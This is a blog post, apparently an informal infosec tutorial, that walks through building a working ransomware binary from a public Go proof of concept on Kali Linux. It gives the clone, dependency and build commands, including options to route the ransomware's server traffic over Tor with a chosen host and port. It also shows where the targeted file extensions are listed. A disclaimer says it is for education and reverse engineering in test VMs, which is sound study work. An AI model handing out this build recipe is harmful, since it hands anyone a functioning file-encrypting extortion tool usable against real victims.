top of page

šŸŽ“BlackHatsšŸ“ā€ā˜ ļø -- 😈Let's build a RansomwarešŸ˜

CyberMoransšŸ¤—

ree

Today you will taste the dark side😈


The Colonial Pipeline in the US was shutdown for nearly a week before paying a $5 million ransom 😤 demonstrating the danger of this ransomware to industrial systems and a state infrastructure😟 The major US insurance company, CNA, admitted to having paid a ransom of $40 million!

And closer to home šŸ˜, recent attacks ā˜ ļø on Kenya Aviation Authority (KAA) by Medusa ransomware gang and Jubilee insurance is believed to have paid šŸ¤‘ Lockbit, the most prolific Ransomware Gang ☠, an unknown amount of ransom after appearing as a victim on their dark web data leaks onion site in March 2023😟
ree

To understand how ransomware works we will build our own ransomware from a Proof of Concept (POC) available from mauri870 on github.com. He developed this ransomware as part of his academic program and it is not designed for malicious purposesā˜ŗļø but rather to help us understand how ransomware works. Like the new variant, Snake ransomware 😰, and a growing number of malware strains, this ransomware is written in Golang 🧐

The ransomware will encrypt with AES-256-CTR and use RSA-4096 to secure the data exchange with the server 😰 This ransomware will be very similar to Cryptolocker, one of the most successful ransomware attacks in history 😣

This POC of ransomware will help you to better understand ransomware as a threat and test to see whether your systems are vulnerable to such an attack

ā˜ ļø ā˜ ļø THIS IS FOR EDUCATIONAL PURPOSES ONLY -- AND REVERSE ENGINEERING ā˜ ļø ā˜ ļø -- Be cool 😜

Morans, Lets do this šŸ’Ŗ

ree


šŸš€ Download and Install the Binaries

The first step is to fire up your Linux and install golang šŸ‘‡

kali > sudo apt install golang

Next, you will need to login to the root user šŸ‘‡

kali > sudo su -
ree

Create a directory for the binaries. In this case, I named it simply "Azimio" šŸ‘‡

kali > mkdir Azimio

Next, change directory to this directory šŸ‘‡

kali > cd Azimio

Next, download the binaries from github.com šŸ‘‡

kali > git clone https://github.com/mauri870/ransomware
ree

Next, we need to set some environment variables to direct the binaries and GO to the appropriate directories šŸ‘‡

ree

šŸš€ Make the source code dependencies

With the variables set and exported, we need to make the dependencies. Navigate to the new directory, ransomware, and enter make deps šŸ‘‡

kali > cd ransomware
kali > make deps
ree

šŸš€ Make the Source Code with options

Now we begin to make the source code. In this case, we will use a few optionsā˜ŗļø


šŸ‘‰ First, we want to use ToR to encrypt our communications over the ToR network šŸ‘‡

USE_TOR=true

šŸ‘‰ Second, we want to use our local IP at 10.0.0.5 (you can use any domain even on a cloud service) šŸ‘‡

SERVER_HOST=10.0.0.5

šŸ‘‰ Third, we want to use port 8080 (you can use any port) šŸ‘‡

SERVER_PORT=8080

šŸ‘‰ Finally, we want to set the operating system to compile the source code for our operating system, in this case, Linux šŸ‘‡

GOOS=linux
ree

The command looks something like this šŸ‘‡

kali > make -e USE_TOR=true SERVER_HOST=10.0.0.5 SERVER_PORT=8080 GOOS=linux

hit ENTER and let your ransomware compile -- Dance kidogošŸ˜†

ree


šŸš€ Check the Directory for ransomware.exe

Once the source code has been generated, do a long listing on the ransomware directory šŸ‘‡

kali > ls -l
ree

navigate to the bin directory. Here, you will see the ransomware.exe, the server and unlocker.exe šŸ‘‡

kali > cd bin
ree

šŸš€ Examine the Types of Files to be Encrypted

To see what types of files this ransomware will encrypt, navigate to cmd directory and open common.go šŸ‘‡

kali > cd cmd
kali > more common.go
ree

You can see the file extensions that the ransomware will target to encrypt when executed😊 Now you can load up your test VMs, debuggers, and reverse engineering tools like ghidra and IDApro to reverse engineer this ransomware. Give it a cool name as well...I named this Kenyatta Ransomware šŸ˜„

Remember to take a snapshot of your test VM before deploying the ransomware. DO NOT deploy this ransomware on your main machine!! 😁

šŸš€Conclusion šŸ¤–

Subscribe to receive notifications of similar posts 😜 where we will be reverse engineering malware, vulnerabilities as well as hacking vectors, stories, tutorials and other Infosec stuff...šŸ˜‹


Follow me on twitter for daily Infosec Memes and shenanigansšŸ˜


Morans,

ree

Thank you for taking time and hope you learned something new, Like and leave a comment/review and as always, stay awesome! šŸ˜‹šŸ‘Š šŸ’Ŗ

Comments


Post: Blog2_Post

Subscribe Form

Thanks for submitting!

  • Twitter
  • LinkedIn

©2022 by MORAN. Proudly created with Wix.com

bottom of page